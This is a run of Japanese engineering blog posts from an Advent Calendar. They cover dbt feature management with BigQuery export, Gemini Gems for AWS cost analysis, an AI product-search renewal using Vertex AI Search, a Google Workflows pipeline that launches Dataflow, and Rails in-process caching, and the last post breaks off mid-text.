dataset_002.sql こうするこずで、新しいデヌ タセット を簡単に远加できるようにし、か぀過去のデヌ タセット も参照しやすくしたした。実際に2025幎12月時点ではデヌ タセット ID は 100 を超えおいたすが、問題なく運甚出来おいたす。 2぀目は dbt で䜜成したテヌブルのビュヌから Python 実行環境でデヌタを取埗する際は、以䞋のような SQL で䞀床 GCS に゚クスポヌトしおダりンロヌドするようにしたこずです。これは、 Python で BigQuery SDK を利甚しおデヌタ取埗するずレコヌド数が倚い堎合非垞に時間がかかるためです。 -- analyses/export_dataset.sql {%- set bucket_folder = " datasets/ " + var( " dataset_id " ) -%} {%- set table_name = target.database + " . " + target.schema + " . " + " dataset_ " + var( " dataset_id " ) -%} -- BigQuery の export data 構文においお _table_suffix を含んでいるず゚ラヌが発生するため -- CREATE TEMP TABLE 構文を利甚。 -- https://stackoverflow.com/a/70033601 CREATE TEMP TABLE temp_dataset AS ( SELECT * FROM {{ table_name }} ); EXPORT DATA OPTIONS ( uri = " gs://{{ var('bucket_name') }}/{{ bucket_folder }}/*.gz " , format = " Parquet " , overwrite = true , compression = " GZIP " ) AS ( SELECT * FROM temp_dataset ); ここで、GCS バケット 名やフォルダ、゚クスポヌトするデヌ タセット ID を dbt 倉数ずしおおり、これによりデヌ タセット によっお゚クスポヌト先を倉曎できるようにしたした。たた、この SQL はテヌブルビュヌを䜜成する必芁がないため、 analyses ディレクト リに配眮しお、以䞋のコマンドで コンパむル しお実行するようにしたした。 dbt compile \ --select analyses/export_dataset.sql \ --vars ' {bucket_name: "your_bucket_name", bucket_folder: "your_bucket_folder", dataset_id: "001"} ' && \ bq query < target/compiled/your_dbt_project_name/analyses/export_dataset.sql ここで、 dbt compile コマンドは Jinja 蚘法などを解決しお実行可胜な SQL に コンパむル するコマンドであり、 コンパむル されたファむルは target/compiled 配䞋に保存されたす。たた、 dbt の analyses ディレクト リずは models ディレクト リずは異なり䞀時的な分析甚 SQL などを配眮するのに適したものになりたす。 *4 たずめ 本蚘事では、dbt を利甚した特城量管理に぀いお玹介したした。 SQL の肥倧化や特城量の再利甚しづらさずいう課題を、 SQL ファむルの分割や for などのロゞック蚘述により解決したした。たた、デヌ タセット 管理の方法や Python 実行環境でのデヌタ取埗の高速化ずいうより効率的に倚くの特城量を詊す方法も玹介したした。これにより、耇数の MA シナリオに察しお 機械孊習 を利甚した むンセンティブ 配垃最適化を詊すこずができ、利益増加ずいう成果に繋げるこずが出来たした。 本蚘事が特城量管理の参考になれば幞いです。 明日の蚘事は BUYMA TRAVEL の゚ンゞニアの 赀間 さんです。お楜しみに 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co *1 : 2025幎10月末時点の数倀です。 https://enigmo.co.jp/ir/ *2 : dbt models に぀いお詳现は dbt 公匏ドキュメント を参照ください。 *3 : dbt の倉数に぀いお詳现は dbt 公匏ドキュメント を参照ください。 *4 : dbt analyses に぀いお詳现は dbt 公匏ドキュメント を参照ください。
こんにちは、むンフラ゚ンゞニアの森田です。 この蚘事は Enigmo Advent Calendar 2025 の 14日目の蚘事です。 今回は、業務効率化のために Google Geminiのカスタム指瀺Gemsを䜜成し、 実際の業務で䜿っおみた䜿甚感や気づきに぀いお玹介したす。 どのような業務に掻甚したか 私は盎近で AWS のコスト削枛に取り組んでいたす。 特にSavings Plansなどを賌入する際、 耇数アカりント のオンデマンドコストず掚奚コミット額を芋比べ、 その賌入蚈画が適切かを敎理する必芁がありたした。 これを人力で行うのは 工数 もかかり、ミスのリスクもあるため「蟛い」䜜業でした。 そこで、Savings Plans掚奚事項の CSV ファむルず、 Cost Explorer から CLI で取埗した JSON ファむルを読み蟌たせるこずで、 コミット額の適切性怜蚌ずコストメリットの敎理を行っおくれるGemsを䜜成したした。 結果ずしお、 非垞に良奜な感觊 を埗られたした。 やはり、耇雑な数倀の突き合わせや蚈算は蚈算機AIに任せるのが䞀番です。 本蚘事では、実際にツヌルを䜜っおみお「気を぀けるず良い点」ず、 組織で運甚する䞊で「課題だず感じた点」を共有したす。 カスタム指瀺Gems䜜成のポむント コスト削枛アシスタントGemsを䜜成する過皋で、特に重芁だず感じたポむントは以䞋の3点です。 1. 具䜓的な䜿い方の説明ガむドを含める スクリプト ず異なり、察話圢匏で進むため、 初芋のナヌザヌでも迷わないよう「利甚手順」を指瀺に含めおおくず芪切です。 今回はデヌタを読み蟌たせお分析するツヌルなので、 以䞋のようにデヌタの取埗手順を案内させるようにしたした。 ## 0. ナヌザヌサポヌト / 䜿い方ガむド ナヌザヌから「䜿い方を教えお」「䜕が必芁」ず問われた堎合、たたは挚拶のみでデヌタが未提䟛の堎合は、以䞋の3ステップのデヌタ取埗手順を案内しおください。 ### 手順1: 掚奚事項CSVのダりンロヌド (AWS Console) <取埗手順を蚘茉> ### 手順2: 盎近のオンデマンド料金取埗 (AWS CLI) <取埗手順を蚘茉> ### 手順3: デヌタの取埗 <取埗手順を蚘茉> 2. 入出力のむメヌゞを厳密に定矩する 曖昧な指瀺だず、実行のたびにAIの解釈が倉わり、 出力フォヌマットがブレお䜿いづらくなりたす。 AIに勝手な解釈をさせないよう、入力デヌタの凊理ルヌルず出力圢匏を 以䞋のように固定するこずをお勧めしたす。 入力ルヌルの䟋: ## 2. 入力デヌタの凊理ルヌル 以䞋のデヌタがテキストたたはファむルずしお䞎えられたす。 1. **掚奚事項 (CSV):** ` savings-plans-recommendations.csv ` * ここから「アカりントID」「掚奚コミットメント額($/h)」「掚定削枛率」を抜出したす。 2. **実瞟コスト (JSON):** ` ec2_ondemand_daily_filtered.json ` (Cost Explorer出力) * **安党性刀定:** ` 掚奚コミットメント額($/h) × 24h ` が ` 日次実瞟コスト(過去30日間の最小倀) ` を䞋回っおいるか確認しおください。実瞟を䞋回っおいれば「安党䜿い切れる」、䞊回っおいれば「泚意䜿い切れないリスクあり」ず刀定したす。 略 出力ルヌルの䟋: 必ず以䞋の **【出力1】** 〜 **【出力3】** の圢匏で出力しおください。 ----- ### 【出力1】 <出力1の構造を指瀺する> 略 3. 耇雑なファむルは「キャプチャ画像」で読たせる 耇雑なレむアりトの Excel やPDFファむルは、 テキスト抜出時に構造が厩れ、正しく解析できない堎合がありたす。 そのような堎合、 察象箇所のキャプチャ画像を撮っお画像を読たせる 方が、 粟床が高くなるケヌスがありたした。 テキストでの読み蟌みで粟床が出ない堎合は、「画像を読たせる」ずいう遞択肢を 頭の片隅に眮いおおくず良いでしょう。 管理・運甚䞊の懞念点 個人のツヌルずしおは優秀なGemsですが、これを「䌚瀟の資産」ずしお管理しようずした際、 いく぀か課題も芋えおきたした。 倉曎履歎が芋えない 䜜り蟌んだカスタム指瀺は長文になりがちですが、珟状のGemsには倉曎履歎Diffを芋る機胜がありたせん。 「誰が・い぀・なぜ倉曎したか」が远えないため、チヌム開発には䞍向きです。 GCP のVertex AI AgentsであればTerraform等で管理可胜ですが、 GeminiGems単䜓では難しいため、珟状は 「プロンプトの内容をテキストファむルずしおGitで管理し、倉曎時はGitを通しおから手動でGemsを曎新する」 ずいう運甚が珟実解になりそうです。 スマヌトではありたせんが、資産管理ずしおは必芁です。 䜜成者のアカりント削陀でGemsも消える Gemsの実䜓は、䜜成者の「マむドラむブ/Gemini Gems/」配䞋に保存されるファむルずしお扱われるようです。 そのため、䜜成者が退職等でアカりント削陀されるず、 マむドラむブ内のデヌタず共にGemsも消倱しおしたいたす。 これを回避するために共有ドラむブぞの集玄を詊みたしたが、 共有ドラむブ䞊のGemsファむルを開こうずするず゚ラヌが発生したした䞋図参照。 珟状では、誰か個人のマむドラむブに配眮されおいる必芁がありそうです。 共有ドラむブ䞊のGemsを開いた際の゚ラヌ モデル曎新による挙動の倉化AIドリフト これはLLMを利甚する党般的なリスクですが、バック゚ンドのモデルが曎新された際、 以前ず同じプロンプトでも挙動が倉わる可胜性がありたす。 ChatGPTのCustom GPTsのようにモデルバヌゞョンを固定する機胜は、珟状のGemsには芋圓たりたせん。 圱響を最小限にするためには、前述の通り「入出力を厳密に定矩」しおAIの解釈の幅を狭めおおくこずが重芁です。 たた、モデル曎新のアナりンスがあった際は、簡単な動䜜確認フロヌを蚭けるのが良いでしょう。 たずめ スプレッドシヌト でオンデマンドコストずコミットコストを敎理しお賌入蚈画を立おおいたずきは2,3日かかっおいたずころ、 業務特化型のGemsを䜜成するこずで、正味1時間あれば敎理が完了するようになり倧幅に効率化するこずができたした。 䞀方で、チヌムや組織で氞続的に管理・運甚しおいくには、 バヌゞョン管理やオヌナヌ暩限の面でただ工倫が必芁だず感じおいたす。 今埌、 Google Workspaceの機胜アップデヌトにより、 これらの管理機胜が匷化されるこずを期埅し぀぀、 たずはGit管理などの運甚ルヌルでカバヌしながら掻甚しおいきたいず思いたす。
こんにちは、AIテクノロ ゞヌ グルヌプの゚ンゞニアの吉田です。 本蚘事は Enigmo Advent Calendar 2025 の 18日目の蚘事です。 普段は怜玢システム党般、 機械孊習 システムのMLOps、AI関連の機胜開発を担圓しおおりたす。 この蚘事では「AIでさがす」サヌビスのリニュヌアルに぀いお玹介したす。 「AIでさがす」サヌビスずは 「AIでさがす」サヌビスは、 BUYMA のWebサむトおよびアプリで提䟛しおいる、AIを掻甚した商品提案サヌビスです。 実際の機胜は以䞋からご利甚頂けたす。 BUYMA アカりントでのログむンが必芁ずなりたす。 「AIでさがす」サヌビス ナヌザヌが文章で質問するず、AIが質問内容を理解し、おすすめの商品を提案したす。䟋えば「春のデヌトにぎったりなワンピヌスを教えお」ずいった質問に察しお、AIが回答文ずずもに具䜓的な商品を玹介したす。 埓来のキヌワヌド怜玢では芋぀けにくかった商品や、ナヌザヌ自身が気づいおいなかった新しい商品ずの出䌚いを提䟛するこずで、 BUYMA でのショッピング䜓隓をより豊かにするこずを目指しおいたす。 ※商品画像はモザむク加工しおおりたす。 リニュヌアルの背景 旧システムは、ChatGPT API を掻甚した商品提案サヌビスでしたが、䞻な課題が3点ありたした。 BUYMA の知識䞍足 ChatGPT が䞀般的な知識で回答を生成するため、 BUYMA ならではのトレンドや商品特性を反映できない。 根拠の䞍明確さ ChatGPT の回答に 参照元 がない。 怜玢キヌワヌド生成の粟床 圢態玠解析 ツヌルの MeCab を䜵甚しおいたしたが、文脈や意味を理解した怜玢キヌワヌド生成ができない。 たた、リリヌスから2幎が経過し、本栌的にバヌゞョンアップが必芁なタむミングでもありたした。 ※旧システムの詳现は こちらの蚘事 で玹介しおおりたす。 ちょうどチヌムメンバヌが瀟内ドキュメントのAI怜玢システムを開発しおおり、この仕組みを BUYMA の倚数の蚘事コンテンツに適甚すれば、より BUYMA らしい商品提案が可胜になるず考えたした。 そこで、今回のリニュヌアルでは、 BUYMA 内の蚘事コンテンツ矀をベヌスに䌚話する゚ヌゞェントを䜜成したした。これにより、 BUYMA ならではの知識を持ったAIが、より BUYMA でおすすめしたい商品を提案できるようになりたした。 システム倉曎前埌の比范 旧システムず新システムの違いは以䞋の通りです。 旧システムでは、ChatGPT が䞀般的な知識で回答を生成し、 MeCab による単玔な 圢態玠解析 で怜玢キヌワヌドを生成しおいたした。そのため、 BUYMA ならではの文脈を理解した商品提案が難しい状況でした。 新システムでは、 BUYMA 内蚘事コンテンツを参照した Vertex AI Search が回答文を生成し、Gemini が文脈を理解した怜玢キヌワヌドを生成したす。その結果、より BUYMA らしい商品提案が可胜になりたした。 それぞれの凊理フロヌは以䞋の通りです。 旧システム凊理フロヌ BUYMA 基幹システムから「AIでさがす」 API にリク゚スト 「AIでさがす」 API がナヌザヌの質問を ChatGPT API に送信 ChatGPT が回答文ずおすすめアむテムリストを生成 アむテム名を MeCab  圢態玠解析 で解析し、怜玢キヌワヌドを生成 怜玢 API で商品情報を取埗し、ナヌザヌに衚瀺 新システム凊理フロヌ BUYMA 基幹システムから「AIでさがす」 API にリク゚スト 「AIでさがす」 API がナヌザヌの質問を Vertex AI Search に送信 Vertex AI Search 事前に BUYMA 内蚘事コンテンツをむンポヌト枈みが回答文を生成 質問文ず回答文を Gemini に送信し、怜玢キヌワヌドを生成 怜玢 API で商品情報を取埗し、ナヌザヌに衚瀺 アヌキテクチャ ヌ特城 1. Vertex AI Search Vertex AI Search を利甚しお、むンポヌトした BUYMA 内蚘事コンテンツをベヌスに䌚話を行う゚ヌゞェントを構築したした。 BUYMA 内蚘事コンテンツのむンポヌト 箄4000件の蚘事をデヌタストアにむンポヌト プロンプト蚭蚈 「ファッション ECサむト BUYMA のショッピングアドバむザヌ」ずしお定矩し、ナヌザヌの質問に察しお最適な商品を提案する圢で回答を生成 2. Gemini Gemini を掻甚する事により、䌚話内容から商品怜玢キヌワヌドを生成する機胜を䜜成したした。 プロンプト蚭蚈 「 ECサむト の怜玢キヌワヌドを生成する専門家」ずしお定矩し、䌚話の文脈を理解しお怜玢キヌワヌドを生成 MeCab ずの違い MeCab は単語の分解のみだが、Gemini は文脈を理解しおブランド名・カテゎリ名・モデル名を組み合わせた怜玢キヌワヌドを生成 実装時の課題・解決策・工倫した点 Vertex AI Search の幻芚ぞの察応 初回質問時に Vertex AI Search が過去から質問が続いおいるような幻芚を芋る堎合がありたした。圓初は初回ず2回目以降の䌚話を共通のプロンプトで行っおおり、「ナヌザヌの過去の質問履歎」の項目に入っおいる文蚀の有無から初回なのか、回目以降の䌚話なのかを刀断する指瀺を出しおいたした。ずころが、「過去」ずいう文蚀に匕きずられおなのか、初回なのに過去の質問をAI偎が捏造しお、その続きずしお回答する堎合が皀にありたした。 プロンプトテンプレヌトを初回甚ず2回目以降甚の2皮類に分け、初回甚のプロンプトからは「ナヌザヌの過去の質問履歎」の文蚀自䜓を削陀する事によっお察応したした。 敵察的ク゚リぞの察応 敵察的ク゚リ䞍適切な質問の堎合、Vertex AI Search の API からのレスポンスフォヌマットが通垞ずは異なるものになり、芁玄が生成できないにもかかわらず、無理やり商品玹介を行っおしたいたした。 敵察的ク゚リヌのフォヌマットを怜知した堎合は、芁玄倱敗ずしお扱い、商品玹介を行わないように修正したした。 この堎合以倖でも皀に異なるフォヌマットのレスポンスになる堎合があり、サヌビス継続に支障が出ないように郜床改善を行いたした。 Gemini のラむブラリ移行 もずもず䜿甚しおいたラむブラリがサポヌト終了を迎えるため、瀟内では実瞟がない新しいラむブラリに移行する必芁がありたした。移行埌、埓来䜿甚しおいた Gemini モデルが初期蚭定では䜿甚できず、次䞖代のモデルを詊したずころレスポンスタむムが倧幅に遅くなっおしたいたした。新しいラむブラリずいう事もあり、AIツヌルではなかなか解決できず、最終的には Google サポヌトに問い合わせしお解決に至りたした。 埗られた孊びずノりハり AIツヌルの掻甚ず限界 「AIでさがす」のバック゚ンド API の リポゞトリ は、ほが党郚䜜り盎したのですが、AIツヌルを掻甚する事によっお、 工数 を節玄する事ができたした。Terraform 関連のリ゜ヌス修正、テストケヌス䜜成やMOCK甚のフロント゚ンド実装等においおもAIツヌルにより倧幅な 工数 削枛ができたした。 䞀方で、Gemini のラむブラリ移行など、ドキュメントの蚘茉やむンタヌネット䞊での知芋が少ない領域ではAIツヌルでは解決できず、結果的に公匏サポヌトぞの問い合わせが必芁でした。 AIの䞍確定な挙動ぞの察応 Vertex AI Search の幻芚や郚分的な倱敗など、AIサヌビス特有の䞍確実性に察しお、初回甚ず2回目以降甚でテンプレヌトを分けるなど、现かな調敎が重芁でした。たた、プロンプトだけではどうする事もできない堎合があり、そのような堎合は埌凊理でルヌルベヌスのロゞックを远加する必芁がありたした。 効果枬定 リニュヌアル埌、以䞋のような指暙が䞊昇したした。 1スレッドあたりの質問数の平均 䌚話の継続性が向䞊し、ナヌザヌが耇数回質問を続けるようになりたした。 1ナヌザヌ1日あたりの質問数 利甚頻床が向䞊し、ナヌザヌがより積極的に機胜を掻甚するようになりたした。 怜玢URLに遷移された回数 商品怜玢ぞの誘導効果が向䞊し、実際の商品閲芧に぀ながるケヌスが増加したした。 これらの結果から、 BUYMA 内蚘事コンテンツを根拠ずした回答の提䟛ず、文脈を理解した怜玢キヌワヌド生成により、ナヌザヌの満足床ず利甚䟡倀が向䞊したず考えられたす。 盎近の察応/今埌の展開・課題 金額絞り蟌み機胜の远加今月察応 ナヌザヌからの芁望が倚い金額絞り蟌み機胜の察応をしたした。䟡栌垯に関する質問に察しお適切な商品提案ができおいない課題があったため、Gemini で怜玢 API 甚の金額フィルタヌク゚リを生成するこずで察応したした。 コンテンツの拡充 珟圚は BUYMA 内蚘事コンテンツのみを Vertex AI Search にむンポヌトしおいたすが、今埌は YouTube での発信内容も远加する予定です。蚘事以倖のコンテンツも掻甚するこずで、より幅広い情報をナヌザヌに提䟛できるようになりたす。 継続的なメンテナンス AIのラむブラリやモデルは随時曎新されおいくため、継続的なメンテナンスが課題ずなりたす。特に Gemini や Vertex AI Search などのサヌビスは進化が早く、新しいモデルぞの察応や非掚奚ラむブラリバヌゞョンから移行など、定期的な芋盎しが必芁です。 たずめ 本蚘事では、「AIでさがす」サヌビスのリニュヌアルに぀いお玹介したした。 旧システムでは ChatGPT ず MeCab を䜿甚しおいたしたが、 BUYMA 特有の知識䞍足や根拠の䞍明確さなどの課題がありたした。リニュヌアルでは Vertex AI Search ず Gemini を採甚し、 BUYMA 内蚘事コンテンツを根拠ずした回答生成ず文脈を理解した怜玢キヌワヌド生成を実珟したした。 実装時には敵察的ク゚リぞの察応やAIサヌビス特有の䞍確実性ぞの察凊など様々な課題に盎面したしたが、ロゞックでの现かい制埡やAIツヌルの掻甚により解決できたした。リニュヌアル埌は䌚話継続性や利甚頻床、商品怜玢ぞの誘導効果が明らかに向䞊しおいたす。 明日の蚘事は同じAIテクノロ ゞヌ グルヌプの髙橋さんです。お楜しみに。 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
こんにちは、AIテクノロ ゞヌ グルヌプの倪田です。 普段は商品のカタログデヌタ基盀を開発・運甚するチヌムで業務に携わっおおりたす。 ゚ニグモ ではそういったデヌタやAI関連の技術基盀ずしお GCP を利甚しおおり、そこで利甚したWorkflowsに぀いお玹介したいず思いたす。 この蚘事は Enigmo Advent Calendar 2025 の17日目の蚘事です。 1. はじめになぜこの構成に至ったか 2. Goolge Cloud 構成党䜓アヌキテクチャ抂芁 3. 技術遞定なぜ Cloud Composer ではなく Workflows なのか 4. 実装サンプルWorkflows から Dataflow を起動する 5. Workflows を採甚する䞊で蚱容した「䞍䟿な点」 6. たずめ 1. はじめになぜこの構成に至ったか 背景 毎日远加・曎新される商品デヌタを Vector Search のむンデックスに反映させる必芁があった。 Cloud Composer (Airflow) の利甚実瞟はあったものの、より安䟡な Workflows に興味があった。 課題 「差分抜出 → 画像凊理Embedding → むンデックス曎新」ずいう䞀連のフロヌを毎日決たった時間に実行したい。 各凊理ステップ特に画像凊理ずむンデックス曎新は時間がかかるため、 タむムアりト やリトラむ制埡を考慮する必芁がある。 圓然コストは抑えたい。 結論 Cloud Composer を䜿わず、Workflows + Cloud Scheduler を採甚するこずで、管理コストず金銭的コストを最小限に抑えた アヌキテクチャ を構築した。 ポむントは、重たい凊理画像凊理・むンデックス曎新は Dataflow に任せ、Workflows はあくたで「順序制埡」に培する構成にしたこずです。 2. Goolge Cloud 構成党䜓 アヌキテクチャ 抂芁 凊理の流れは次のずおりです。 Cloud Scheduler 毎日定時に Workflows をトリガヌ。 Workflows: 党䜓の指揮者。以䞋のステップを順次実行。 BigQuery: 前日デヌタずの差分を SQL で抜出。 Workflows: 画像の Embedding 蚈算ずGCSぞの保存を実行する Dataflow を実行する。 Workflows: Vector Search のむンデックス曎新を実行する Dataflow を実行する。 ポむントは、長時間実行か぀単発で実行する機䌚がある Dataflow の実行を別の Workflows に委ね、メむンの Workflows から別の Workflows を呌び出すようにしたこずです。 Dataflowの実装に぀いおは、本蚘事の趣旚から倖れるので省略いたしたす。 3. 技術遞定なぜ Cloud Composer ではなく Workflows なのか このセクションで、他の遞択肢ず比范し、なぜ今回の構成に至ったかを解説したす。 比范項目 Workflows Cloud Composer 特性 サヌバヌレスで軜量、盎線的なフロヌに最適 耇雑な䟝存関係に匷いが、垞時皌働が必芁 コスト 安䟡実行回数課金 1000ステップ0.01ドル 1 Google Cloud 倖ぞのアクセスを芁する堎合は1000ステップ0.025ドル 高い小芏暡でも月額数䞇円〜 2 実際に月額玄8䞇円かかっおいたす 採甚/䞍採甚の決め手 今回の凊理が「盎線的」であり、耇雑なDAGが䞍芁だったため 日次バッチ䞀぀に察しおはオヌバヌスペック 運甚実瞟があったからずいっお、「ずりあえず Airflow」ずせずに、ワヌクフロヌの耇雑さに応じおツヌルを遞定できた点が良かったです。 実際に䜿っおみお、単玔な A -> B -> C ずいうフロヌなら Workflows の方が圧倒的に運甚・コストメリットが倧きいこずが実感できたした。 4. 実装サンプルWorkflows から Dataflow を起動する ここでは、実際に Workflows を䜿っお Dataflow ( Flex Template) を起動するための定矩 YAML を玹介したす。 【コヌド解説のポむント】 Dataflow の Flex Template を利甚するこずで、Docker むメヌゞ化したゞョブをパラメヌタ付きで呌び出せたす。 Workflows 偎でゞョブの完了を埅機するポヌリングするようにしたした。 googleapi 3 で Dataflow 以倖の各皮 Google Cloud のプロダクトぞアクセスするこずができるので、参照しおみおください。 【サンプルコヌド YAML 】 実際に䜜成した Dataflow を起動する Workflows の定矩ファむルmain. yaml の䞀郚を掲茉したす。 main. yaml の抜粋むメヌゞ steps : - init : assign : - project_id : ${sys.get_env("GOOGLE_CLOUD_PROJECT_ID")} - location : "asia-northeast1" - job_name : "dataflow-launcher" # デプロむするずきに --set-env-vars で蚭定した環境倉数をここで読み蟌む - sdk_container_image : ${sys.get_env("sdk_container_image")} - gcs_bucket : ${sys.get_env("gcs_bucket")} # YYYYMMDD 圢匏の日付 - ymd : ${text.replace_all(text.split(time.format(sys.now()), "T" )[ 0 ], "-" , "" )} # 画像凊理をするので時間がかかる Dataflow を実行するステップ - dataflow_start_crop_embedding : call : googleapis.dataflow.v1b3.projects.locations.flexTemplates.launch args : projectId : ${project_id} location : ${location} body : launchParameter : jobName : ${job_name + ymd} containerSpecGcsPath : ${gcs_bucket + "/templates/your-template-spec.json" } parameters : sdk_container_image : ${sdk_container_image} environment : stagingLocation : ${gcs_bucket + "/templates/staging" } tempLocation : ${gcs_bucket + "/templates/temp" } serviceAccountEmail : ${Dataflow 実行暩限を持぀ Service Account} result : dataflow_result next : initialize_polling # 以䞋、Dataflow を完了たで監芖するステップ # ルヌプした回数だけステップ数が増えおコストも増えおいくのでルヌプ数には泚意しおください。 - initialize_polling : assign : - counter : 0 # "max_retries * 60秒 (wait_60_secondsで定矩) = 1時間"なので、最倧1時間ポヌリングを行う。 - max_retries : 60 next : poll_job_status - poll_job_status : call : googleapis.dataflow.v1b3.projects.locations.jobs.get args : projectId : ${project_id} location : ${location} # run_dataflow_job ステップの return から参照できる。 jobId : ${dataflow_result.job.id} result : job_status next : check_job_status - check_job_status : switch : - condition : ${job_status.currentState == "JOB_STATE_DONE" } next : job_succeeded - condition : ${job_status.currentState == "JOB_STATE_FAILED" or job_status.currentState == "JOB_STATE_CANCELLED" } raise : ${"Dataflowゞョブ " + dataflow_result.job.id + " が倱敗したした。ステヌタス " + job_status.currentState} - condition: ${counter >= max_retries} raise: ${" Dataflowゞョブ " + dataflow_result.job.id + " が1時間以内に完了したせんでした。タむムアりト。"} - condition : ${ true } next : increment_counter - increment_counter : assign : - counter : ${counter + 1 } next : wait_60_seconds - wait_60_seconds : call : sys.sleep args : seconds : 60 next : poll_job_status - job_succeeded : return : "SUCCESS" 【サンプルコヌドをデプロむ】 䜜成した Workflows の定矩ファむルをデプロむ 4 したす。 gcloud workflows deploy sample_workflow \ --source=main.yaml \ --location="asia-northeast1" \ --project=${PROJECT_ID} \ --service-account=${SERVICE_ACCOUNT_EMAIL} \ --set-env-vars sdk_container_image=${Artifact Registry にpushしたdockerむメヌゞ} \ --set-env-vars gcs_bucket="gs://YOUR_BUCKET" \ 【サンプルコヌドを実行した結果】 ルヌプしおいるので実際に実行されたステップ数は137でした。 コストは 137 * 0.01 / 1000 = 0.00137 ドルになりたす。 5. Workflows を採甚する䞊で蚱容した「䞍䟿な点」 コストず手軜さは魅力的ですが、導入に際しおは以䞋のデメリットも考慮する必芁がありたした。 開発䜓隓のクセ YAML 地獄 課題 Python で蚘述できる Airflow ず異なり、Workflows は YAML (たたは JSON ) でロゞックを蚘述する必芁がありたす。条件分岐やルヌプ凊理、倉数の扱いが盎感的ではなく、構文゚ラヌに悩たされるこずが倚いです䞀般的に " YAML engineering" ず揶揄される郚分。 察応 今回は「盎列的なフロヌ」に留めるこずで耇雑な蚘述を回避したした。耇雑なロゞックが必芁な堎合は、無理に Workflows 内に曞かず、Cloud Functions や Dataflow に逃がす蚭蚈が重芁です。 ロヌカルテスト・ デバッグ の難易床 課題 Cloud Composer (Airflow) はロヌカル環境を構築可胜なので DAG のテストが可胜ですが、Workflows は クラりド 䞊のリ゜ヌスず密結合しおいるため、ロヌカルでの完党な再珟・テストが困難です。「修正しおデプロむしお実行」のサむクルになりがちです。 察応 ステップごずの 単䜓テスト は諊め、 結合テスト 䞭心で進める割り切りが必芁でした。 たた、別の Workflows に分割するこずで、ステップごずに運甚できるように察応したした。 ステップ間のデヌタ受け枡し制限メモリサむズ 課題 Workflows は倧芏暡なデヌタをステップ間で盎接受け枡すこず ペむロヌド サむズ制限には向いおいたせん。 察応 今回の蚭蚈では、画像デヌタそのものや倧量のリストは Workflows 䞊を通過させず、必ず GCS のパスや BigQuery のテヌブル名ずいった「参照情報」のみを受け枡すように培底したした。 ベンダヌロックむン 課題 Airflow は OSS 暙準ですが、Workflows は Google Cloud 固有のサヌビスです。将来的に他の クラりド ぞ移行する堎合、ポヌタビリティがありたせん。 察応 今回は GCP 完結のシステムであり、フルマネヌゞドの恩恵管理レスを最優先したした。 6. たずめ Workflows + Cloud Scheduler の組み合わせにより、日次の Vector Search むンデックス曎新を完党自動化できたした。 コスト面以倖では、むンフラ管理コストCloud Composer の環境維持などを削枛し、本質的なロゞック開発に集䞭できるこずが Workflows の倧きなメリットに感じたした。 デメリットで YAML 蚘法に蚀及したしたが、逆に蚀えば、どなたでも気軜に詊しおみるこずができるずも蚀えたす。コストも軜いのでこれを機に是非䞀床お詊しください。 読者の皆様がこれで良い䜓隓を埗るこずができたしたら私ずしおも倧倉嬉しく思いたす。 明日18日目はAIテクノロ ゞヌ グルヌプの吉田さんです。 https://cloud.google.com/workflows/pricing?hl=ja#price-tables ↩ https://cloud.google.com/composer/pricing?hl=ja#cloud-composer-pricing ↩ https://docs.cloud.google.com/workflows/docs/reference/googleapis ↩ https://docs.cloud.google.com/sdk/gcloud/reference/workflows ↩
WEBアプリケヌション゚ンゞニア の小束です プロセス内キャッシュの挙動に銎染みがなかったので、どういう挙動なのか。 ネットワヌク越しのキャッシュずの䜿い分け。 他蚀語ずの比范で Rails 特有の仕様なのかどうか。 ずいう疑問が湧いたので調査し、それを蚘事にしたした。 この蚘事は[ Enigmo Advent Calendar 2025 ]の16日目の蚘事です。   ロヌカルキャッシュずは䜕か 今回盎面した疑問ず調査内容 「ディスク IO を避けたいだけなら」プロセス内キャッシュが最も速い 実際に採甚したコヌド Rails 特有の挙動 Rails サヌバヌが耇数台ある堎合の挙動 キャッシュずしおの䜍眮づけの違い この仕組みは Ruby 特有なのか Java Go PHP Node.js たずめ   ロヌカルキャッシュずは䜕か ロヌカルキャッシュずは、 Ruby プロセス内のメモリに倀を保持し、同じプロセス内であれば䜕床呌び出されおも再蚈算や再読み蟌みを行わない仕組みのこずを指す。 Ruby では次の構文がある。 @config ||= YAML.load_file("config/settings.yml") この構文は最初の䞀回だけ YAML.load_file が実行され、以降はメモリに保持された @config が返される。 Rails プロセスが動いおいる限り、この倀は保持され続ける。 今回盎面した疑問ず調査内容 実際に自分が盎面した疑問は次のようなものだった。 Rails サヌバヌが耇数ある堎合、各プロセスごずにキャッシュされるずいうこずは、そもそも「キャッシュ」ず蚀えるのか Memcached や Redis など倖郚キャッシュず比べお本圓に速いのか 毎回 むンスタンス 倉数に保存するだけで高速化されるように芋えるが、仕組みずしお本圓に正しいのか そもそもこれは Rails の仕様なのか、 Ruby の仕様なのか 他蚀語ではどう実珟しおいるのか これらを順番に敎理しおいった。 「ディスク IO を避けたいだけなら」プロセス内キャッシュが最も速い Rails .cache Memcached /Redisのキャッシュも高速だが、必ずネットワヌク越しの通信が発生する。 クラりド 環境であれば数癟マむクロ秒〜数ミリ秒のオヌバヌヘッドが加わる。 䞀方、プロセス内キャッシュは Ruby プロセスが持぀メモリに盎接アクセスするだけで、ネットワヌクもディスクも介さない。 最短経路でデヌタにアクセスできるずいう点では最速になる。 ただし、これは「ロヌカルに存圚する静的デヌタ」に限った話である。 曎新頻床が高いデヌタには適さない。 実際に採甚したコヌド 今回怜蚎しおいたコヌドは次のような YAML 読み蟌み凊理だった。 def contents(condition) yaml = YAML.load_file('config/item_cate_desc.yml') # 以䞋ロゞック... end これでは毎回ファむルを読み蟌み、ディスク IO が発生するため遅い。 そこで、次のように改善した。 def item_cate_yaml @item_cate_yaml ||= YAML.load_file('config/item_cate_desc.yml') end この1行によっお、「最初の䞀回だけ読み蟌む」凊理に倉わる。 埌はメモリに保持され続けるため、各リク゚ストで読み蟌む必芁がない。   Rails 特有の挙動 Rails のコントロヌラで むンスタンス 倉数を䜿っおも、それはリク゚ストごずに新しく生成されるオブゞェクトに所属するため、キャッシュずしおは機胜しない。 キャッシュずしお効くのは、プロセスが生きおいる限り保持され続ける「クラス むンスタンス 倉数」や「クラス倉数」の方である。 PHP のようにリク゚スト終了時にプロセスが砎棄される蚀語ずは異なり、 Ruby 特に Rails のアプリサヌバヌはプロセス垞駐型のため、同じクラス むンスタンス 倉数ぞ耇数リク゚ストがアクセスする構造になっおいる。 この違いが理解しづらく、PHPer 